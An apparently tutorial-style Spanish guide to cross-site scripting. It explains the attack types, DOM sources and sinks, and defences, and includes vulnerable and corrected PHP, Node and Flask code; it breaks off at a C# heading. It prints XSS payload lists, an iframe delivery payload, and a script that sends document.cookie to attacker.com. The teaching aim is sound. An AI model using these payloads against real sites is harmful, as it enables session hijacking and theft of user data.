Cross-Site Scripting (XSS)
XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a un atacante inyectar scripts maliciosos en páginas web visualizadas por otros usuarios. Cuando una aplicación…
Resumen
XSS (Cross-Site Scripting) es una vulnerabilidad de seguridad web que permite a un atacante inyectar scripts maliciosos en páginas web visualizadas por otros usuarios. Cuando una aplicación web inserta contenido no confiable en un contexto ejecutable del navegador (HTML/JS/CSS/URL) sin el encoding/sanitización correctos, permite que JavaScript se ejecute en el navegador de la víctima.
XSS explota la confianza del usuario en la aplicación web vulnerable, no la confianza del sitio web en el usuario. El script malicioso se ejecuta con los privilegios del sitio web legítimo, bypasseando la Same Origin Policy (SOP) del navegador.
Es un riesgo típico en aplicaciones web (sobre todo con renderizado dinámico), y su severidad depende de qué datos/acciones se puedan realizar dentro de la sesión de la víctima.
Contexto histórico y evolución
Los ataques XSS siguen siendo una de las vulnerabilidades más comunes que amenazan a las aplicaciones web. La evolución de XSS muestra tanto mejoras en las defensas como aumentos en la sofisticación de los ataques:
- 1999: Una de las primeras vulnerabilidades XSS fue reconocida, dando lugar a la recomendación CERT CA-2000-02 sobre “Malicious HTML Tags Embedded in Client Web Requests”.
- 2000s: XSS se convierte en una técnica de ataque ampliamente conocida y explotada.
- 2010s: Los frameworks web modernos comienzan a incorporar prácticas robustas de seguridad por defecto, protegiendo contra numerosas vulnerabilidades XSS automáticamente.
- Presente: Los motivos y la sofisticación de los ataques han aumentado. Con el auge de las aplicaciones web, es común que se descubran y exploten vulnerabilidades XSS cada mes.
OWASP Top 10: XSS ocupó el séptimo lugar en 2017. En el informe de 2021, se agrupó con otros ataques de inyección y, en conjunto, ocupó el tercer lugar.
Same Origin Policy (SOP) y XSS
La Same Origin Policy (SOP) es un mecanismo de seguridad implementado en los navegadores web modernos para evitar que un script malicioso en una página web acceda a datos confidenciales en otra. La SOP define el origen según:
- Protocolo (ej.
https://) - Nombre de host (ej.
example.com) - Puerto (ej.
:443)
Por lo tanto, un anuncio malicioso no puede acceder a los datos ni manipular la página ni su funcionalidad en otro origen, como una tienda online o la página de un banco.
XSS bypasea la SOP al ejecutarse desde el mismo origen que el sitio vulnerable. El navegador confía en el script porque proviene del dominio legítimo, aunque en realidad fue inyectado por un atacante.
JavaScript para XSS (fundamentos)
Un conocimiento básico de JavaScript es fundamental para comprender los exploits XSS y adaptarlos a tus necesidades. Dado que XSS es un ataque del lado del cliente que se ejecuta en el navegador web del objetivo, deberíamos probar nuestros ataques en un navegador similar al del objetivo.
Importante: Cada navegador procesa ciertos fragmentos de código de forma diferente. Un código de exploit podría funcionar contra Google Chrome, pero no contra Mozilla Firefox o Safari.
Acceder a la consola JavaScript del navegador
Para experimentar con código JavaScript en el navegador, abre la Consola en las Herramientas para Desarrolladores:
- Firefox: Presiona
Ctrl + Shift + K→ pestaña Consola - Google Chrome: Presiona
Ctrl + Shift + J→ pestaña Console - Safari: Presiona
Comando + Opción + J→ Inspector Web
Funciones esenciales de JavaScript para XSS
// 1. Alert: Mostrar una alerta de JavaScriptalert(1)alert('XSS')alert("XSS")alert(document.cookie) // Muestra las cookies del sitio
// 2. Registro de la consola: Mostrar valores en la consolaconsole.log(1)console.log("test text")console.log(document.cookie)
// 3. Codificación/Decodificación Base64btoa("string") // Codifica a Base64 (útil para eliminar espacios/caracteres especiales)atob("base64_string") // Decodifica desde Base64Ejemplos prácticos:
alert(document.cookie)— Muestra las cookies de sesión (si no tienen flagHttpOnly)btoa("Hello World")— DevuelveSGVsbG8gV29ybGQ=atob("SGVsbG8gV29ybGQ=")— DevuelveHello World
Variantes / Tipos
XSS se clasifica en tres tipos principales según cómo y dónde se ejecuta el payload malicioso:
1. Reflected XSS (XSS Reflejado)
El payload vuelve en la respuesta inmediata (típico en parámetros de URL/búsquedas). El script malicioso se refleja en el navegador del usuario, a menudo mediante una URL manipulada o el envío de un formulario.
Ejemplo de flujo:
- Atacante crea URL maliciosa:
http://shop.thm/search?q=<script>alert(document.cookie)</script> - Víctima hace clic en el enlace
- El servidor refleja el parámetro
qen la respuesta sin sanitizar - El navegador ejecuta el script en el contexto del sitio
Diagrama conceptual:
Un atacante incluye un script malicioso en una URL y lo envía a un usuario objetivo. Este hace clic en la URL y visita el sitio web objetivo. Como resultado, el enlace malicioso se ejecuta en su navegador.
2. Stored XSS (XSS Almacenado / Persistente)
El payload se almacena (BD, comentarios, perfiles) y se sirve a múltiples usuarios. Es el tipo más peligroso porque afecta a todos los usuarios que visualizan el contenido almacenado.
Ejemplos comunes:
- Comentarios en blogs/foros
- Reseñas de productos
- Mensajes de chat/soporte
- Campos de perfil de usuario
Diagrama conceptual:
El atacante publica un script malicioso como parte de su comentario. Un usuario lo ve. Como resultado, algo malicioso ocurre en su dispositivo.
3. DOM-based XSS (XSS basado en DOM)
La inyección sucede en el DOM por JavaScript del lado cliente (la respuesta del servidor puede ser “limpia”). Aprovecha vulnerabilidades del Document Object Model (DOM) para manipular elementos de página existentes sin necesidad de reflejarlos ni almacenarlos en el servidor.
Características básicas:
- El servidor no tiene un rol directo en la ejecución del payload
- Todo ocurre en el navegador del cliente
- El DOM es modificado de forma insegura (ej. usando
document.write(),innerHTML) - Requiere entender frameworks frontend modernos para explotar efectivamente
3.1 ¿Qué es el DOM? (Document Object Model)
El DOM (Document Object Model) es la interfaz de programación que representa el documento web cargado en el navegador. Cuando realizas una solicitud a una aplicación web, el HTML de la respuesta se carga como DOM en el navegador. En esencia, el DOM es la vista programática de la aplicación web que el usuario ve en su navegador.
Estructura del DOM: El DOM tiene una estructura de árbol, lo que permite a los desarrolladores usar código JavaScript para buscarlo o modificar elementos específicos.
Ejemplo de estructura HTML básica:
<html> <head> <title>Hello World!</title> </head> <body> <h1> Hello Moon! </h1> <p> The earth says hello! </p> </body></html>Árbol del DOM:
- El elemento
documentsiempre es la cabecera del árbol - El subárbol
htmles donde se aloja todo el código HTML de la página web - Se divide en
headybody
Interacción con el DOM mediante JavaScript:
Una vez cargado, JavaScript puede interactuar con el DOM y realizar actualizaciones para cambiar lo que ve el usuario. Ejemplo de modificación del DOM:
// 1. Crear un nuevo párrafoconst paragraph = document.createElement("p");
// 2. Crear un nuevo nodo de textoconst data = document.createTextNode("Our new text");
// 3. Añadir el texto al nuevo párrafoparagraph.appendChild(data);
// 4. Encontrar el párrafo existente y añadir el nuevo párrafodocument.getElementsByTagName("p")[0].appendChild(paragraph);Importancia para la seguridad: Si un atacante puede inyectar información en el DOM, puede alterar lo que ve el usuario o incluso actuar como si fuera el usuario legítimo, suplantándolo. Este problema se ha magnificado con los frameworks de aplicaciones web modernos (aplicaciones de página única), donde el control del DOM no solo implica el control de una sola página web, sino la persistencia en toda la aplicación.

3.2 Frameworks frontend modernos y aplicaciones de página única (SPA)
De vuelta en los viejos tiempos:
Las aplicaciones web convencionales se crearon donde la respuesta a cada solicitud web actualizaba todo el DOM completo:
- Cada vez que un usuario navegaba a una sección diferente de la aplicación web, la respuesta proporcionaba código HTML completamente nuevo
- El DOM se reconstruía desde cero con cada navegación
- Esto era engorroso y reducía la capacidad de respuesta de las aplicaciones web
El ascenso de los tiempos modernos - Single Page Applications (SPA):
Con el auge de los frameworks frontend modernos, nació un nuevo modelo llamado aplicación de página única (SPA):
- Las SPA se cargan solo una vez cuando el usuario visita el sitio web por primera vez
- Todo el código se carga en el DOM inicialmente
- En lugar de recargar el DOM con cada nueva solicitud, este se actualiza automáticamente mediante JavaScript
- Las respuestas solo contienen los datos necesarios para actualizar el DOM (típicamente JSON)
- Reduce drásticamente la sobrecarga con cada solicitud
- Aunque la carga inicial puede tardar más, la capacidad de respuesta durante el uso es mucho mayor
Frameworks modernos: Angular, React y Vue permiten a los desarrolladores crear estas SPA.
Arquitectura moderna: En lugar de que el servidor web también sea responsable del DOM, la SPA se carga una vez y luego interactúa con el servidor web mediante solicitudes API.
3.3 Errores comunes en aplicaciones frontend modernas
Aunque las SPA aumentan la capacidad de respuesta, pueden provocar errores de configuración y vulnerabilidades interesantes:
3.3.1 Confusión del límite de seguridad
Existe un dicho común en seguridad de aplicaciones:
“Los controles del lado del cliente son solo para la experiencia del usuario; todos los controles de seguridad deben implementarse en el lado del servidor.”
¿Por qué? Un agente de amenazas puede controlar todo en el navegador y, por lo tanto, cualquier control del lado del cliente puede ser bypasseado.
Ejemplo de omisión de autorización:
- Desarrolladores deshabilitan el botón “Editar” en JavaScript
- Sin embargo, dado que se puede modificar el DOM en el navegador, el botón puede ser re-habilitado
- Esto permite realizar la solicitud de edición, provocando una omisión de autorización
Conclusión: Si bien tener el botón deshabilitado mejora la experiencia del usuario, se requiere una comprobación de seguridad del lado del servidor para garantizar que el usuario tenga los permisos necesarios.
3.3.2 Validación de entrada de usuario insuficiente
Este error suele ocurrir cuando los equipos de desarrollo frontend y backend no se comunican sobre quién se responsabiliza de ciertos controles de seguridad:
Problema común:
- El equipo frontend implementa filtros para depurar o validar la entrada del usuario
- Como los atacantes pueden eludir los controles frontend, el equipo backend también debe realizar la misma validación
- Sin embargo, el equipo backend no suele conocer exactamente cómo funciona el frontend
- Es más probable que envíe datos sin procesar (sin depurar ni filtrar) al frontend en las respuestas
- Espera que el frontend los depure antes de mostrarlos
Resultado: Ningún equipo se responsabiliza de la validación de entrada, creando vulnerabilidades que permiten ataques como XSS o CSRF.
Agravante moderno: La mayoría de las aplicaciones ya no funcionan de forma aislada, sino que están altamente integradas con otras aplicaciones. Los datos no desinfectados inyectados en la Aplicación A pueden ser inofensivos para A, pero los desarrolladores de la Aplicación B pueden asumir erróneamente que estos datos han sido desinfectados, generando una vulnerabilidad en B a través de los datos enviados desde A.
3.4 Ataques basados en DOM (generalidades)
Con el auge de las aplicaciones modernas de frameworks frontend, ignorar los controles de seguridad del lado del cliente es precisamente lo que conduce a los ataques basados en DOM.
El lado del servidor ciego:
Aunque existen muchos ataques basados en DOM, todos se resumen en:
Validación y sanitización insuficientes de la entrada del usuario antes de usarla en JavaScript que altera el DOM.
En las aplicaciones web modernas, los desarrolladores implementan funciones que alteran el DOM sin realizar nuevas solicitudes al servidor web ni a la API. Ejemplos:
-
Navegación entre pestañas: Un usuario hace clic en una pestaña del panel de navegación. Dado que los datos de esta pestaña ya se han cargado mediante solicitudes de API, se dirige al usuario a la nueva pestaña modificando el DOM para definir qué pestaña es visible.
-
Filtrado de resultados: Un usuario filtra los resultados mostrados en una tabla. Como todos los resultados ya se han cargado, mediante JavaScript el conjunto de datos existente se reduce y se vuelve a cargar en el DOM.
Problema crítico: Si todos los controles de seguridad para la validación y el sanitización de datos se implementaron en el servidor, ¿qué nos protegería cuando no se realizan solicitudes al servidor?
Conclusión: Con el auge de las aplicaciones web modernas, los controles de seguridad del lado del cliente han cobrado mucha mayor importancia.
3.5 Fuentes y sumideros (Sources y Sinks)
Para simplificar la detección de ataques basados en DOM, los denominamos fuentes (sources) y sumideros (sinks):
- Source (Fuente): La ubicación donde el usuario proporciona datos no confiables a una función de JavaScript
- Sink (Sumidero): La ubicación donde los datos se utilizan en JavaScript para actualizar el DOM
Regla fundamental: Si no se realiza una sanitización o validación de los datos entre la fuente y el sumidero, puede darse un ataque basado en DOM.
Tabla de ejemplos:
| Ejemplo | Fuente (Source) | Sumidero (Sink) |
|---|---|---|
| Usuario haciendo clic en una pestaña en el panel de navegación | Cuando el usuario hace clic en la nueva pestaña, un desarrollador puede actualizar la URL con #tabname2 para indicar la pestaña activa actualmente |
Una función de JavaScript se ejecuta en el evento de actualización de la URL, recupera la información de la pestaña y muestra la pestaña correcta |
| Usuario filtrando los resultados de una tabla | La entrada proporcionada en un cuadro de texto por el usuario se utiliza para filtrar los resultados | Una función de JavaScript se ejecuta cuando la información dentro del cuadro de texto se actualiza y utiliza la información para filtrar el conjunto de datos |
Concepto de fragmentos (#):
El primer ejemplo es bastante interesante. Aunque la entrada inicial del usuario fue un clic del ratón, los desarrolladores lo tradujeron en una actualización de la URL usando el operador # (llamado fragmento).
Uso común de fragmentos:
- Lees una entrada de blog y decides enviar la URL a un amigo
- Al abrir el enlace, se abre exactamente en el punto donde estabas leyendo
- Esto ocurre porque JavaScript actualiza la parte
#de la URL mientras lees el artículo para indicar el encabezado más cercano a tu ubicación - Al enviar la URL, también se envía esta información
- Una vez cargada la entrada, JavaScript la recupera y desplaza automáticamente la página a tu ubicación
Implicación de seguridad: Excelente para la experiencia del usuario, pero podría dar lugar a ataques basados en DOM sin una validación adecuada de los datos inyectados en la URL.
3.6 DOM-based Open Redirect (ejemplo de ataque basado en DOM)
Supongamos que los desarrolladores frontend utilizan la información del valor # para determinar la ubicación de navegación de la aplicación web. Esto puede generar una redirección abierta basada en DOM.
Código JavaScript vulnerable:
goto = location.hash.slice(1)if (goto.startsWith('https:')) { location = goto;}Análisis:
- Fuente:
location.hash.slice(1)- toma el primer elemento#de la URL - Sink:
location- el destino donde se establece el valor sin sanitización - Explotación: Podemos construir la siguiente URL maliciosa:
https://realwebsite.com/#https://attacker.comResultado: Una vez cargado el DOM, JavaScript recuperará el valor # de https://attacker.com y realizará una redirección a nuestro sitio web malicioso.
Nota: Este es un ejemplo sencillo. Existen otros tipos de ataques basados en DOM, pero el principio para todos ellos sigue siendo el mismo: la entrada del usuario se utiliza directamente en un elemento JavaScript sin sanitización ni validación, lo que permite a los actores de amenazas controlar una parte del DOM.
3.7 DOM-based XSS en profundidad
El DOM-based XSS es una subsección de los ataques basados en DOM. Sin embargo, es la forma más potente de ataque basado en DOM, ya que permite inyectar código JavaScript y tomar el control total del navegador.
Requisitos: Como con todos los ataques basados en DOM, necesitamos una fuente y un sumidero para ejecutar el ataque.
3.7.1 Fuente más común: window.location
La fuente más común de DOM-based XSS es la URL y, más específicamente, sus fragmentos, a los que se accede a través de la fuente window.location.
¿Por qué es común?
- Capacidad de crear un enlace con fragmentos maliciosos para enviar a los usuarios
- En la mayoría de los casos, el servidor web no interpreta los fragmentos
- Los fragmentos se reflejan en la respuesta, dando lugar a DOM-based XSS
Limitación moderna: La mayoría de los navegadores modernos codifican los datos en la URL, lo que puede prevenir el ataque. Esto ha reducido la prevalencia de este tipo de ataques que utilizan la URL como fuente.
3.7.2 Sumideros comunes para DOM-based XSS:
- Selector
$()de jQuery innerHTML,outerHTMLdocument.write()eval()setTimeout(string),setInterval(string)- Event handlers inline (
onclick,onerror, etc.) - Atributos
href,src
Lista completa de sumideros: Consulta PortSwigger - DOM-based XSS para una lista exhaustiva.
3.8 DOM-based XSS mediante jQuery
Continuando con nuestro ejemplo de ubicación de página web, echemos un vistazo al siguiente ejemplo de jQuery para navegar la página a la última ubicación vista:
$(window).on('hashchange', function() { var element = $(location.hash); element[0].scrollIntoView();});Análisis:
- Fuente:
location.hash- valor del fragmento URL - Sink: Selector
$()de jQuery
Payload XSS básico:
Dado que el valor hash es una fuente a la que tenemos acceso, podemos inyectar una carga XSS en el sumidero del selector $() de jQuery:
https://realwebsite.com#<img src=1 onerror=alert(1)></img>Problema: Esto solo nos permitiría realizar XSS a nosotros mismos (self-XSS), que no tiene valor ofensivo.
Weaponización mediante iframe:
Para realizar XSS a otros usuarios, necesitamos encontrar una forma de activar la función hashchange automáticamente. La opción más sencilla sería usar un iframe para entregar nuestra carga útil:
<iframe src="https://realwebsite.com#" onload="this.src+='<img src=1 onerror=alert(1)>'"></iframe>Funcionamiento:
- Una vez que se carga el sitio web en el iframe
- El atributo
srcse actualiza para incluir nuestra carga útil XSS - Esto activa la función
hashchange - Se ejecuta nuestra carga útil XSS
Dificultad clave: La dificultad del DOM-based XSS reside en la instrumentalización. Sin una instrumentalización adecuada, simplemente nos estamos auto-inyectando, lo cual no tiene ningún valor. Afortunadamente, la instrumentalización se puede realizar mediante los canales XSS convencionales (almacenamiento o reflexión).
3.9 DOM-based XSS vs XSS convencional
Cuando buscas XSS, aunque parezca normal XSS almacenado o reflejado, en algunos casos puede ser realmente DOM-based XSS almacenado o reflejado.
Diferencia clave: Dónde reside el sink (sumidero)
XSS convencional:
- Los datos de usuario no confiables ya se inyectaron en el servidor del sumidero
- La respuesta HTTP contiene la carga útil
- El payload se refleja o almacena en el servidor
DOM-based XSS:
- El DOM está completamente cargado
- Luego recibe datos de usuario no confiables que se cargan a través de JavaScript
- El sumidero está en el código JavaScript del cliente
Diferencia en la explotación: Puede que no haya diferencia práctica en cómo se explota el XSS.
Diferencia en la remediación:
- XSS convencional: Se debe utilizar codificación de entidad HTML del lado del servidor
- DOM-based XSS: Se requiere una investigación más profunda de la función exacta de JavaScript que carga los datos. En la mayoría de los casos, se debe utilizar una función diferente o implementar sanitización del lado del cliente.
3.10 Weaponización del DOM-based XSS
Para convertir el DOM-based XSS en un arma, necesitamos usar los dos métodos convencionales de entrega de cargas útiles XSS:
- Almacenamiento (Stored)
- Reflexión (Reflected)
Desafío: Sin un método de entrega adecuado, el ataque se realiza contra uno mismo y no contra el objetivo.
Solución: Necesitamos que el servidor web almacene nuestra carga útil para su posterior entrega o que la entregue mediante reflexión. En este punto, nuestro DOM-based XSS se convierte en un ataque XSS almacenado o reflejado basado en DOM.
Limitación del XSS reflejado vía URL: Especialmente cuando la fuente es la URL, puede resultar complejo, ya que los navegadores modernos codifican las URLs.
Preferencia por XSS almacenado: Esto generalmente nos deja con el XSS almacenado como mecanismo de entrega. Sin embargo, también nos abre varias fuentes adicionales. Si realizamos XSS a través de datos de usuario almacenados, necesitamos encontrar un sumidero donde estos datos se agreguen sin sanitización ni validación.
3.10.1 Directrices generales sobre weaponización
A menudo, descubrirás que es fácil conseguir que la codiciada carga útil alert('XSS') funcione. Sin embargo, aquí suele acabar la gracia y, siendo sinceros, no hemos demostrado un impacto real.
Estrategia común (limitada):
- Intentar robar la cookie del usuario
- Problema: Se convierte rápidamente en un obstáculo cuando se refuerza la seguridad de las cookies mediante el uso de la opción HTTPOnly, lo que impide que JavaScript recupere el valor de la cookie
Weaponización efectiva:
Necesitamos profundizar para convertir la vulnerabilidad XSS en un arma y lograr un exploit válido. Referencia: Getting Real with XSS (WithSecure Labs)
Poder del XSS completamente weaponizado:
Cuando podemos ejecutar XSS completamente y cargar una carga útil preconfigurada, podemos controlar el navegador del usuario. Esto significa que podemos:
- Interactuar con la aplicación web como lo haría el usuario
- No necesitamos mostrar una alerta ni robar la cookie del usuario
- Podemos indicarle al navegador que realice solicitudes en nombre del usuario
Concepto clave: Incluso si encuentras XSS en una página donde no hay nada realmente sensible, puedes indicarle al navegador que:
- Recupere información de otras páginas más sensibles
- Realice acciones de cambio de estado en nombre del usuario
Proceso:
- Comprender la funcionalidad de la aplicación
- Adaptar nuestra carga útil XSS para aprovechar y usar esta funcionalidad en nuestro beneficio
3.11 Caso práctico: Vulnerabilidad de Twitter (2010)
En 2010, se descubrió que Twitter (ahora X) tenía una vulnerabilidad DOM-based XSS. En una actualización de su JavaScript, Twitter introdujo la siguiente función vulnerable:
//<![CDATA[(function(g){ var a=location.href.split("#!")[1]; if(a){ g.location=g.HBR=a; }})(window);//]]>Análisis de la vulnerabilidad:
- Fuente:
location.href.split("#!")[1]- busca#!en la URL - Sink:
g.location(que eswindow.location) - Problema: Asigna el contenido al objeto
window.locationsin validación ni sanitización
Payload de prueba de concepto (PoC):
http://twitter.com/#!javascript:alert(document.domain);Resultado: Ejecuta el código JavaScript y muestra la ventana emergente de alerta.
Weaponización real del exploit:
Los actores de amenazas aprovecharon el problema creando un gusano que utilizaba la función onmouseover de JavaScript. Referencia: F-Secure Blog - Twitter XSS Worm
Acciones del gusano:
- Retuitear a sí mismo para difundirlo aún más a nuevos usuarios (auto-replicación)
- Redirigir a los usuarios a otros sitios web, que en algunos casos contenían más cargas maliciosas
- Mostrar ventanas emergentes y otros comportamientos intrusivos que podrían potencialmente robar información personal
Impacto:
- El exploit weaponizado afectó a miles de usuarios
- Esto ocurrió en 2010
- Si se encontrara un fallo similar hoy, el impacto sería aún mayor debido al número de usuarios
Lección aprendida: La weaponización efectiva de XSS puede tener un impacto masivo y autoreplicante.
3.12 Enumeración de aplicaciones frontend modernas
Para explotar DOM-based XSS en aplicaciones modernas (Vue, React, Angular), necesitas enumerar la aplicación correctamente.
Problema: Si usas “Ver código fuente de la página” en una SPA, no verás mucho código útil:
<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <title>My Vue App</title> </head> <body> <div id="app"></div> <script src="/dist/bundle.js"></script> </body></html>Solución - Usar el Debugger del navegador:
El navegador reconstruirá la aplicación Vue/React/Angular automáticamente en el debugger. Pasos:
- Haz clic derecho en la página
- Selecciona Inspeccionar
- Haz clic en la pestaña Debugger (o Sources en Chrome)
- Navega a
src → components - Verás los archivos Vue/React/Angular reconstruidos (denominados “mapeados”)

Utilidad:
- Analizar componentes individuales
- Identificar fuentes y sumideros
- Entender el flujo de datos
- Buscar validación/sanitización insuficiente
Técnica de monitoreo: Si logras obtener una interacción del usuario, pero no es exactamente lo que esperabas, quizás la solución sea supervisarlo más de cerca y durante más tiempo (usando console.log() para debugging).
3.13 Defensas contra ataques basados en DOM
Para defenderse de los ataques basados en DOM, es importante volver a tratar toda la entrada del usuario como insegura, incluso cuando el navegador la esté procesando.
Defensas principales:
-
Validación y sanitización del lado del cliente:
- Implementar controles de seguridad en JavaScript
- No solo para UX, sino también para seguridad real
- Especialmente crítico en SPAs donde no hay validación del servidor
-
Uso de funciones seguras:
- Evitar
innerHTML,document.write(),eval() - Preferir
textContent,innerTextpara texto plano - Usar funciones de sanitización de frameworks (ej.
DOMPurify)
- Evitar
-
Content Security Policy (CSP):
- Definir fuentes confiables para scripts
- Bloquear
inline-scriptcuando sea posible - Usar nonces o hashes para scripts legítimos
-
Herramientas SAST y DAST:
- SAST (Static Application Security Testing): Escanear código fuente en busca de fuentes y sumideros sin sanitización
- DAST (Dynamic Application Security Testing): Escanear solicitudes y respuestas en busca de posibles vulnerabilidades DOM-based
-
Code Review enfocado:
- Revisar código JavaScript que manipula el DOM
- Identificar todos los usos de
location.hash,location.search,document.referrer - Verificar que todas las fuentes pasen por sanitización antes de llegar a sumideros
-
Frameworks seguros por defecto:
- React, Angular y Vue tienen protecciones built-in contra XSS
- Sin embargo, pueden bypassearse con funciones “peligrosas” como
dangerouslySetInnerHTML(React) ov-html(Vue) - Evitar el uso de estas funciones a menos que sea absolutamente necesario
Ejemplo de sanitización con DOMPurify:
// Vulnerableelement.innerHTML = userInput;
// Seguroimport DOMPurify from 'dompurify';element.innerHTML = DOMPurify.sanitize(userInput);Resumen: Los ataques basados en DOM son cada vez más relevantes con el auge de SPAs. La defensa requiere un cambio de mentalidad: los controles del lado del cliente son controles de seguridad reales, no solo de UX
4. Blind XSS
El payload se ejecuta en otro contexto (p.ej., panel interno/admin) y el atacante no ve la ejecución directamente. Requiere un callback/beacon para confirmar ejecución.
Ejemplo: Payload en campo de “mensaje de contacto” que se ejecuta cuando un administrador revisa el mensaje en el panel interno.
Causas técnicas (¿qué hace posible XSS?)
Existen muchas razones por las que aún se encuentran vulnerabilidades XSS en aplicaciones web:
1. Validación y sanitización de entradas insuficientes
Las aplicaciones web aceptan datos de usuario (formularios, parámetros) y los utilizan en la generación dinámica de páginas HTML. Scripts maliciosos pueden incrustarse como parte de la entrada legítima y, a menos que se desinfecten adecuadamente, el navegador los ejecutará.
2. Falta de codificación de salida (Output Encoding)
El usuario puede usar diversos caracteres para modificar la forma en que un navegador web procesa y muestra una página web.
Caracteres críticos en HTML:
<→<>→>"→"'→'o'&→&
Caracteres críticos en JavaScript:
'→\'"→\"\→\\
La codificación incorrecta de los datos proporcionados por el usuario es una de las principales causas de vulnerabilidades XSS.
3. Uso inadecuado de encabezados de seguridad
Diversos encabezados de seguridad pueden ayudar a mitigar las vulnerabilidades XSS:
Content Security Policy (CSP): Mitiga riesgos XSS al definir qué fuentes son confiables para scripts ejecutables. Una CSP mal configurada facilita que el atacante ejecute sus payloads:
- Políticas demasiado permisivas
- Uso de
unsafe-inline - Uso de
unsafe-eval
4. Vulnerabilidades del framework y del lenguaje
- Frameworks web antiguos no ofrecían mecanismos de seguridad contra XSS
- Frameworks con vulnerabilidades XSS sin parchear
- Los frameworks modernos evitan automáticamente XSS por diseño y corrigen rápidamente vulnerabilidades descubiertas
5. Bibliotecas de terceros
La integración de bibliotecas de terceros en una aplicación web puede introducir vulnerabilidades XSS, incluso si la aplicación web principal no es vulnerable.
Un hacker malicioso escribe un comentario que incluye código JavaScript malicioso diseñado para robar cookies de sesión.
Implicaciones y consecuencias de XSS
XSS tiene implicaciones graves tanto técnicas como de negocio:
1. Secuestro de sesión (Session Hijacking)
XSS puede robar cookies de sesión, permitiendo que los atacantes tomen control de la sesión y se hagan pasar por la víctima.
Payload típico:
<script> fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>2. Suplantación de identidad (Phishing) y robo de credenciales
Aprovechando XSS, los atacantes pueden presentar una solicitud de inicio de sesión falsa al usuario dentro del sitio confiable.
Caso real: Página del navegador parcialmente oculta por un cuadro de diálogo que solicitaba a los usuarios conectarse a su monedero de criptomonedas.
3. Ingeniería social
Mediante XSS, un atacante puede crear ventanas emergentes o alertas de apariencia legítima dentro de un sitio web confiable, induciendo a los usuarios a:
- Hacer clic en enlaces maliciosos
- Visitar sitios web maliciosos
- Descargar malware
4. Manipulación y desfiguración de contenido (Defacement)
Un atacante puede usar XSS para cambiar el sitio web con fines de:
- Dañar la reputación de la empresa
- Difundir desinformación
- Afectar la confianza de los usuarios
5. Exfiltración de datos
XSS puede acceder y extraer cualquier información mostrada en el navegador del usuario:
- Datos personales (PII)
- Información financiera
- Datos operativos visibles en la UI
6. Instalación de malware
Un atacante sofisticado puede usar XSS para propagar malware mediante:
- Ataques de descargas automáticas (drive-by downloads)
- Redirección a sitios de descarga maliciosos
- Explotación de vulnerabilidades del navegador
Cómo funciona (mecánica del ataque)
-
Source (Fuente): Datos controlados por el usuario
- Query parameters (
?q=...) - Body parameters (POST data)
- Fragment (
#hash) - Cookies
- Local/Session Storage
- Mensajes entre ventanas (postMessage)
- APIs externas
- Query parameters (
-
Sink (Sumidero): Un lugar donde el navegador interpreta/ejecuta
innerHTML,outerHTMLdocument.write()eval()- Event handlers inline (
onclick,onerror, etc.) setTimeout(string),setInterval(string)- Atributos
href,src
-
Falta un control correcto:
- Output encoding por contexto (HTML, atributo, JS string, URL, CSS)
- Sanitización cuando se necesita permitir HTML (p.ej. “rich text”)
- Restricciones (CSP) para reducir el impacto incluso si hay bug
Contexto de inyección y adaptación de payloads
Lo más probable es que la carga inyectada encuentre su camino en uno de los siguientes contextos:
1. Entre etiquetas HTML
Escenario: El input se inserta directamente como contenido HTML.
Payload básico:
<script>alert(document.cookie)</script>2. Dentro de etiquetas HTML (atributos)
Escenario: El input termina en un atributo HTML.
Payloads adaptados:
"><script>alert(document.cookie)</script>'><script>alert(document.cookie)</script>" onerror="alert(document.cookie)3. Dentro de JavaScript existente
Escenario: El input se inserta dentro de una cadena o código JS.
Payloads adaptados:
</script><script>alert(document.cookie)</script>';alert(document.cookie)//";alert(document.cookie)//Explicación: Cerramos la cadena con ' o ", completamos el comando con ;, ejecutamos el payload y comentamos el resto con //.
4. Dentro de atributos de eventos
Escenario: El input va en atributos como onclick, onerror, etc.
Payloads:
<img src=x onerror=alert(1)><svg onload=alert(1)>XSS Reflejado (Reflected XSS) — Ejemplos de código
PHP — Código vulnerable
<?php$search_query = $_GET['q'];echo "<p>You searched for: $search_query</p>";?>Explicación: $_GET es una matriz PHP que contiene valores de la cadena de consulta URL. Si no se sanitiza, un atacante puede inyectar:
http://shop.thm/search.php?q=<script>alert(document.cookie)</script>PHP — Código corregido
<?php$search_query = $_GET['q'];$escaped_search_query = htmlspecialchars($search_query);echo "<p>You searched for: $escaped_search_query</p>";?>Solución: La función htmlspecialchars() convierte caracteres especiales en entidades HTML. Los caracteres <, >, &, ", ' se reemplazan por defecto.
JavaScript (Node.js) — Código vulnerable
const express = require('express');const app = express();
app.get('/search', function(req, res) { var searchTerm = req.query.q; res.send('You searched for: ' + searchTerm);});
app.listen(80);Explicación: req.query.q extrae el valor de q sin sanitizar. Vulnerable a:
http://shop.thm/search?q=<script>alert(document.cookie)</script>JavaScript (Node.js) — Código corregido (Opción 1: sanitize-html)
const express = require('express');const sanitizeHtml = require('sanitize-html');
const app = express();
app.get('/search', function(req, res) { const searchTerm = req.query.q; const sanitizedSearchTerm = sanitizeHtml(searchTerm); res.send('You searched for: ' + sanitizedSearchTerm);});
app.listen(80);Solución: La función sanitizeHtml() de la biblioteca sanitize-html elimina elementos y atributos inseguros, incluyendo etiquetas de script.
Documentación: https://www.npmjs.com/package/sanitize-html
JavaScript (Node.js) — Código corregido (Opción 2: escapeHtml)
const express = require('express');const escapeHtml = require('escape-html');
const app = express();
app.get('/search', function(req, res) { const searchTerm = req.query.q; const escapedSearchTerm = escapeHtml(searchTerm); res.send('You searched for: ' + escapedSearchTerm);});
app.listen(80);Solución: La función escapeHtml() escapa caracteres como <, >, &, " y '.
Documentación: https://github.com/component/escape-html
Python (Flask) — Código vulnerable
from flask import Flask, request
app = Flask(__name__)
@app.route("/search")def home(): query = request.args.get("q") return f"You searched for: {query}!"
if __name__ == "__main__": app.run(debug=True)Explicación: request.args.get() accede a los parámetros de la cadena de consulta sin sanitizar.
Python (Flask) — Código corregido
from flask import Flask, requestfrom html import escape
app = Flask(__name__)
@app.route("/search")def home(): query = request.args.get("q") escaped_query = escape(query) return f"You searched for: {escaped_query}!"
if __name__ == "__main__": app.run(debug=True)Solución: La función escape() del módulo html convierte caracteres como <, >, ", ' en entidades HTML escapadas.
Nota: html.escape() en Flask es un alias de markupsafe.escape() de la biblioteca Werkzeug.
C# (ASP.NET) — Código vulnerable
